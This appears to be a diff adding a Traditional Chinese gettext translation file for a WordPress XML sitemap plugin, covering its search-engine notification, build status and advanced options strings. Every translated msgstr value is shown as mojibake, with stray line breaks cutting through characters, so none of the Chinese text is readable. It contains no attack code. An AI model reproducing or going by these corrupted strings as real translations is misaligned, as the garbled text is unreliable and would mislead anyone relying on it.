+msgstr "éæŒéåå€æïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2886
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:534
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:141
+msgid "Plugin Homepage"
+msgstr "å€æéŠé "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:421
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:535
+msgid "Suggest a Feature"
+msgstr "åèœæšèŠ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:536
+msgid "Notify List"
+msgstr "éµä»¶éç¥"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "Support Forum"
+msgstr "æ¯æŽè«å£"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:424
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:538
+msgid "Report a Bug"
+msgstr "è­è²åå ±"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:540
+msgid "Donate with PayPal"
+msgstr "PayPal èŽå©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:541
+msgid "My Amazon Wish List"
+msgstr "æç Amazon é¡ææž
+å®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "translator_name"
+msgstr "Hugo5688"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "translator_url"
+msgstr "http://take-ez.com"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2895
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:545
+msgid "Sitemap Resources:"
+msgstr "ç¶²ç«å°åè³æºïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:546
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:552
+msgid "Webmaster Tools"
+msgstr "ç¶²ç«ç®¡çå¡å·¥å
+·"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:547
+msgid "Webmaster Blog"
+msgstr "ç¶²ç«ç®¡çå¡ç¶²èª"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:549
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:550
+msgid "Search Blog"
+msgstr "Search Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3010
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:553
+msgid "Webmaster Center Blog"
+msgstr "ç¶²ç«ç®¡çå¡ç¶²èª"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2903
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:555
+msgid "Sitemaps Protocol"
+msgstr "ç¶²ç«å°åéèšåå®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:556
+msgid "Official Sitemaps FAQ"
+msgstr "å®æ¹çç¶²ç«å°åç­å®¢å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:557
+msgid "My Sitemaps FAQ"
+msgstr "ç¶²ç«å°åç­å®¢å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:560
+msgid "Recent Donations:"
+msgstr "è¿æèŽå©æž
+å®ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:564
+msgid "List of the donors"
+msgstr "èŽå©è
+æž
+å®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:566
+msgid "Hide this list"
+msgstr "é±èæ¬æž
+å®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:569
+msgid "Thanks for your support!"
+msgstr "æè¬æšçèŽå©ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:587
+msgid "Status"
+msgstr "çæ
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:595
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "æšçç¶²ç«å°åéæ²ç¢çéã<a href=\"%s\">é»éè£¡</a>äŸç¢çå®å§ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:601
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "æšç<a href=\"%url%\">ç¶²ç«å°å</a>äžæ¬¡çŒäœæéçºïŒ<b>%date%</b>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:603
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "å¯«å
+¥ç¶²ç«å°åæªæ¡æçŒçé¯èª€ãè«ç¢ºå®è©²æªæ¡å­åšäžŠå¯è¢«å¯«å
+¥ã<a href=\"%url%\">æŽå€è³èš</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:610
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "ç¶²ç«å°åïŒ<a href=\"%url%\">å£çž®æª</a>ïŒäžåç¢çæŒïŒ<b>%date%</b>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:612
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "å¯«å
+¥ç¶²ç«å°åå£çž®æªæ¡æçŒçé¯èª€ãè«ç¢ºå®è©²æªæ¡å­åšäžŠå¯è¢«å¯«å
+¥ã<a href=\"%url%\">æŽå€è³èš</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:618
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "å·²ç¶<b>æåå°éç¥</b> Google æšç¶²ç«çæŽæ°ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:621
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "è±äº %time% ç§äŸéç¥ GoogleïŒæèš±æšæ³èŠééæ­€åèœäŸå¢å æèœã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:624
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "éç¥ Google æçŒçäºåé¡ã<a href=\"%s\">æª¢èŠçµæ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:630
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "å·²ç¶<b>æåå°éç¥</b> YAHOO æšç¶²ç«çæŽæ°ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:633
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "è±äº %time% ç§äŸéç¥ YAHOOïŒæèš±æšæ³èŠééæ­€åèœäŸå¢å æèœã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:636
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "éç¥ YAHOO æçŒçäºåé¡ã<a href=\"%s\">æª¢èŠçµæ</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:642
+msgid "Bing was <b>successfully notified</b> about changes."
+msgstr "å·²ç¶<b>æåå°éç¥</b> Bing æšç¶²ç«çæŽæ°ã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:645
+msgid "It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time."
+msgstr "è±äº %time% ç§äŸéç¥ BingïŒæèš±æšæ³èŠééæ­€åèœäŸå¢å æèœã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:648
+#, php-format
+msgid "There was a problem while notifying Bing. <a href=\"%s\">View result</a>"
+msgstr "éç¥ Bing æçŒçäºåé¡ã<a href=\"%s\">æª¢èŠçµæ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:654
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "å·²ç¶<b>æåå°éç¥</b> Ask.com æšç¶²ç«çæŽæ°ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:657
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "è±äº %time% ç§äŸéç¥ Ask.comïŒæèš±æšæ³èŠééæ­€åèœäŸå¢å æèœã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:660
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "éç¥ Ask.com æçŒçäºåé¡ã<a href=\"%s\">æª¢èŠçµæ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:668
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "æŽåå»ºçœ®éçšå€§çŽè±è²» <b>%time% ç§</b> äŸå®æïŒäžŠäžäœ¿çšäº %memory% MB çèšæ¶é«ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:670
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "æŽåå»ºçœ®éçšå€§çŽè±è²» <b>%time% ç§</b> äŸå®æã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:674
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "æšçç¶²ç«å°åå
+§å®¹èäžæ¬¡æ¯èŒ<strong>äžŠæ²æè®æŽ</strong>ïŒæä»¥æ²æç¢çæ°æªæ¡ïŒèäžæå°åŒæä¹æ²æè¢«éç¥ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:586
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:682
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "å»ºç«ç¶²ç«å°åççšåºæèš±äŸç¶ååèãé é¢å°åšå¹Ÿç§éåŸéæ°èŒå
+¥ïŒäžŠäžç¢ºèªæ¯åŠæ¹è®ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:685
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "äžæ¬¡çå·è¡äžŠæªçµæïŒä¹èš±æšéèŠæ¿ PHP å¢å èšæ¶é«æè
+æééå¶ã<a href=\"%url%\">æŽå€è³èš</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:687
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "æåŸäžæ¬¡å·è¡æ¬çšåŒäœ¿çš %memused% MB èšæ¶é«ïŒæšäŒºæåšçéå¶çº %memlimit%ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:691
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "æåŸäžæ¬¡å·è¡æ¬çšåŒçæéè± %timeused% ç§ïŒæšäŒºæåšçéå¶çº %timelimit% ç§ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:695
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "éæ¯çšåŒå€§çŽååšç¬¬ %lastpost% ïŒ+/- 100ïŒç¯æç« "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:698
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "è¥æ¯æšå°äŒºæåšæè
+ç¶²èªåäºæäºæŽåïŒæšæè©²æå<a href=\"%s\">éæ°ç¢çç¶²ç«å°å</a>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:700
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "åŠææšåšå»ºç«çéçšéå°äºåé¡ïŒæšå¯ä»¥äœ¿çš<a href=\"%d\">é€é¯åèœ</a>äŸåŸç¥æŽå€çèšæ¯ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3040
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:707
+msgid "Basic Options"
+msgstr "åºæ¬éžé 
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:709
+msgid "Sitemap files:"
+msgstr "ç¶²ç«å°åæªæ¡ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:709
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:744
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "Learn more"
+msgstr "æŽå€è³èš"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3049
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:714
+msgid "Write a normal XML file (your filename)"
+msgstr "å¯«å
+¥ XML æªæ¡ïŒæªæ¡åçš±ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3055
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:720
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "å¯«å
+¥å£çž®æªïŒæªæ¡åçš± + .gzïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+msgid "Building mode:"
+msgstr "ç¢çæš¡åŒïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:729
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "ç¶ä¿®æ¹ç¶²èªå
+§å®¹æéæ°å»ºç«ç¶²ç«å°åã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:736
+msgid "Enable manual sitemap building via GET Request"
+msgstr "åçšééçŒé GET èŠæ±æåå»ºç«ç¶²ç«å°åã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:740
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "æ¬éžé 
+å
+èš±æšå·æ°æšçç¶²ç«å°åãç¶æšäœ¿çšå€éšå·¥å
+·çŽæ¥å°æç« å¯«å
+¥ WordPress è³æåº«ïŒèééé WordPress API æïŒäœ¿çšä»¥äžç¶²åååéåäœæ¥­: <a href=\"%1\">%1</a> è¥æ¯èŠç¥éæ¯åŠæåè«æª¢æ¥çŽéæªæ¡ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:744
+msgid "Update notification:"
+msgstr "æŽæ°éç¥ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:748
+msgid "Notify Google about updates of your Blog"
+msgstr "éç¥ Google éæŒæšç¶²ç«çæŽæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:749
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "äžéèŠèš»åïŒäœæšå¯å å
+¥ <a href=\"%s\">Google ç¶²ç«ç®¡çå¡å·¥å
+·</a>äŸæª¢æ¥æçŽ¢çµ±èšã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:753
+msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
+msgstr ""
+"éç¥ Bing (åèº«çº MSN Live Search\r\n"
+") éæŒæšç¶²ç«çæŽæ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:754
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Bing Webmaster Tools</a> to check crawling statistics."
+msgstr "äžéèŠèš»åïŒäœæšå¯å å
+¥ <a href=\"%s\">Bing ç¶²ç«ç®¡çå¡å·¥å
+·</a>äŸæª¢æ¥æçŽ¢çµ±èšã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:758
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "éç¥ Ask.com éæŒæšç¶²ç«çæŽæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:759
+msgid "No registration required."
+msgstr "äžéèŠèš»åã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:763
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "éç¥ YAHOO éæŒæšç¶²ç«çæŽæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:764
+msgid "Your Application ID:"
+msgstr "æšçæçšçšåŒ ID:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:765
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "æšæ²æåäžåéæš£çéé°å? <a href=\"%s1\">è«æé»æ­€èç³è«</a>!</a> %s2"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:770
+msgid "Add sitemap URL to the virtual robots.txt file."
+msgstr "åšèæ¬ robots.txt æªæ¡äž­å å
+¥ç¶²ç«å°åäœå"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:774
+msgid "The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!"
+msgstr "æ­€èæ¬ç robots.txt å°æç± WordPress äŸäœ¿çšãçå¯Šç robots.txt äžåŸå­åšæŒéšèœæ Œçç®éäž­ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "Advanced options:"
+msgstr "é²ééžé 
+ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Limit the number of posts in the sitemap:"
+msgstr "ç¶²ç«å°åè£¡æç« æžçæå°åŒ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Newer posts will be included first"
+msgstr "èŒæ°çæç« å°æåªå
+å
+å«"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Try to increase the memory limit to:"
+msgstr "è©Šèå°èšæ¶é«éå¶å¢å è³ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "e.g. \"4M\", \"16M\""
+msgstr "äŸåŠïŒã4Mããã16Mã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "Try to increase the execution time limit to:"
+msgstr "è©Šèå°å·è¡æééå¶å¢å è³ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "ä»¥ç§çºå®äœïŒäŸåŠïŒã60ãæè
+ã0ãåäžéå¶"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:790
+msgid "Include a XSLT stylesheet:"
+msgstr "å
+å« XSLT æš£åŒïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Full or relative URL to your .xsl file"
+msgstr "æš .xsl æªæ¡ççµå°æè
+çžå°è·¯åŸ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Use default"
+msgstr "äœ¿çšé èš­"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:797
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "åçš MySQL æšæºæš¡åŒãç¶æšçŒçŸæ MySQL é¯èª€æïŒå¯ä»¥äœ¿çšæ­€éžé 
+ã (éèŠèŒå€çèšæ¶é«!)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:798
+msgid "Upgrade WordPress at least to 2.2 to enable the faster MySQL access"
+msgstr "åŠèŠéåèŒå¿«ç MySQL å­åïŒè«è³å°å° WordPress åçŽæ 2.2 çä»¥äž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:805
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "èªååšèæ¯çšåºäž­å»ºç«ç¶²ç«å°å (ç¶å²å­æç« æïŒæšå°±äžéåæ¬¡ç¢çç¶²ç«å°å)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:806
+msgid "Upgrade WordPress at least to 2.1 to enable background building"
+msgstr "åŠèŠåçšèæ¯å»ºç«ç¶²ç«å°åïŒè«è³å°å° WordPress åçŽæ 2.1 çä»¥äž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3144
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:813
+msgid "Additional pages"
+msgstr "å
+¶ä»çé é¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3149
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:816
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "æšå¯ä»¥åšæ­€æå®é£äºæè¢«çŽå
+¥ç¶²ç«å°åçæªæ¡æè
+ç¶²åïŒäœæ¯äžå±¬æŒæšçéšèœæ Œ(Blog/WordPress)ã<br />èäŸäŸèªªïŒè¥æ¯æšçéšèœæ Œæ¯ www.foo.com/blogïŒèæšæ³èŠå°æš www.foo.com äžçç¶²é çŽå
+¥æ­€ç¶²ç«å°åã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3151
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3462
